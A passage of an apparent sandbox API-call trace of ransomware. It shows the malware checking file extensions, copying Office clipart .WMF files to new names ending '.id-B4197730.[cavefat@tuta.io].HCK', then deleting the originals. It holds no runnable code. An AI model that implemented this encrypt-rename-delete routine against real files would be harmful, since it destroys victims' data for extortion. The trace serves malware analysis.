lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".doc") returned 4 [0179.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString=".docx") returned 5 [0179.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.291] lstrlenW (lpString=".pdf") returned 4 [0179.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString=".xls") returned 4 [0179.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.291] lstrlenW (lpString=".xlsx") returned 5 [0179.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.291] lstrlenW (lpString=".ppt") returned 4 [0179.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".zip") returned 4 [0179.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.291] lstrlenW (lpString=".rar") returned 4 [0179.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString=".bz2") returned 4 [0179.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString=".7z") returned 3 [0179.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".dbf") returned 4 [0179.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".1cd") returned 4 [0179.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".jpg") returned 4 [0179.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] lstrlenW (lpString=".doc") returned 4 [0179.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.291] lstrlenW (lpString=".docx") returned 5 [0179.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.292] lstrlenW (lpString=".pdf") returned 4 [0179.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString=".xls") returned 4 [0179.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.292] lstrlenW (lpString=".xlsx") returned 5 [0179.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.292] lstrlenW (lpString=".ppt") returned 4 [0179.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.292] lstrlenW (lpString=".zip") returned 4 [0179.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.292] lstrlenW (lpString=".rar") returned 4 [0179.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString=".bz2") returned 4 [0179.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString=".7z") returned 3 [0179.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.292] lstrlenW (lpString=".dbf") returned 4 [0179.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.292] lstrlenW (lpString=".1cd") returned 4 [0179.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.292] lstrlenW (lpString=".jpg") returned 4 [0179.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.292] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.292] lstrlenW (lpString="PE02267_.WMF") returned 12 [0179.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.293] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30944) returned 1 [0179.293] CloseHandle (hObject=0x370) returned 1 [0179.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf")) returned 0x220 [0179.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.297] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.297] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.301] GetLastError () returned 0x0 [0179.301] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x78e0, lpOverlapped=0x0) returned 1 [0179.304] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x78f0, lpOverlapped=0x0) returned 1 [0179.304] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.305] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.305] SetEndOfFile (hFile=0x368) returned 1 [0179.307] CloseHandle (hObject=0x368) returned 1 [0179.307] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.307] SetEndOfFile (hFile=0x39c) returned 1 [0179.309] CloseHandle (hObject=0x39c) returned 1 [0179.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf")) returned 1 [0179.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.314] lstrlenW (lpString=".doc") returned 4 [0179.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.314] lstrlenW (lpString=".docx") returned 5 [0179.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.314] lstrlenW (lpString=".pdf") returned 4 [0179.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.314] lstrlenW (lpString=".xls") returned 4 [0179.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.315] lstrlenW (lpString=".xlsx") returned 5 [0179.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.315] lstrlenW (lpString=".ppt") returned 4 [0179.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".zip") returned 4 [0179.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.315] lstrlenW (lpString=".rar") returned 4 [0179.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".bz2") returned 4 [0179.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".7z") returned 3 [0179.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".dbf") returned 4 [0179.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".1cd") returned 4 [0179.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".jpg") returned 4 [0179.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".doc") returned 4 [0179.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".docx") returned 5 [0179.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.315] lstrlenW (lpString=".pdf") returned 4 [0179.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".xls") returned 4 [0179.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.315] lstrlenW (lpString=".xlsx") returned 5 [0179.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.315] lstrlenW (lpString=".ppt") returned 4 [0179.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".zip") returned 4 [0179.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.315] lstrlenW (lpString=".rar") returned 4 [0179.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".bz2") returned 4 [0179.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString=".7z") returned 3 [0179.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".dbf") returned 4 [0179.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.315] lstrlenW (lpString=".1cd") returned 4 [0179.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 68 [0179.316] lstrlenW (lpString=".jpg") returned 4 [0179.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.316] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.316] lstrlenW (lpString="PE02280_.WMF") returned 12 [0179.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.321] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=26920) returned 1 [0179.321] CloseHandle (hObject=0x39c) returned 1 [0179.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf")) returned 0x220 [0179.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.326] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.326] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.329] GetLastError () returned 0x0 [0179.329] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6928, lpOverlapped=0x0) returned 1 [0179.332] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6930, lpOverlapped=0x0) returned 1 [0179.333] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.333] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.333] SetEndOfFile (hFile=0x39c) returned 1 [0179.335] CloseHandle (hObject=0x39c) returned 1 [0179.335] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.335] SetEndOfFile (hFile=0x3a4) returned 1 [0179.339] CloseHandle (hObject=0x3a4) returned 1 [0179.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf")) returned 1 [0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".doc") returned 4 [0179.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".docx") returned 5 [0179.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.344] lstrlenW (lpString=".pdf") returned 4 [0179.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".xls") returned 4 [0179.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.344] lstrlenW (lpString=".xlsx") returned 5 [0179.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.344] lstrlenW (lpString=".ppt") returned 4 [0179.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".zip") returned 4 [0179.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.344] lstrlenW (lpString=".rar") returned 4 [0179.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".bz2") returned 4 [0179.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".7z") returned 3 [0179.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".dbf") returned 4 [0179.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".1cd") returned 4 [0179.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".jpg") returned 4 [0179.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.344] lstrlenW (lpString=".doc") returned 4 [0179.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".docx") returned 5 [0179.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.344] lstrlenW (lpString=".pdf") returned 4 [0179.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.344] lstrlenW (lpString=".xls") returned 4 [0179.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.344] lstrlenW (lpString=".xlsx") returned 5 [0179.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.344] lstrlenW (lpString=".ppt") returned 4 [0179.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.345] lstrlenW (lpString=".zip") returned 4 [0179.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.345] lstrlenW (lpString=".rar") returned 4 [0179.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString=".bz2") returned 4 [0179.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString=".7z") returned 3 [0179.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.345] lstrlenW (lpString=".dbf") returned 4 [0179.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.345] lstrlenW (lpString=".1cd") returned 4 [0179.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 68 [0179.345] lstrlenW (lpString=".jpg") returned 4 [0179.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.345] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.345] lstrlenW (lpString="PE02288_.WMF") returned 12 [0179.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.349] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30432) returned 1 [0179.349] CloseHandle (hObject=0x370) returned 1 [0179.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf")) returned 0x220 [0179.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.353] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.353] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.355] GetLastError () returned 0x0 [0179.355] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x76e0, lpOverlapped=0x0) returned 1 [0179.365] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x76f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x76f0, lpOverlapped=0x0) returned 1 [0179.365] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.366] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.366] SetEndOfFile (hFile=0x3a4) returned 1 [0179.368] CloseHandle (hObject=0x3a4) returned 1 [0179.368] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.368] SetEndOfFile (hFile=0x370) returned 1 [0179.368] CloseHandle (hObject=0x370) returned 1 [0179.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf")) returned 1 [0179.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.370] lstrlenW (lpString=".doc") returned 4 [0179.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.370] lstrlenW (lpString=".docx") returned 5 [0179.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.370] lstrlenW (lpString=".pdf") returned 4 [0179.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.370] 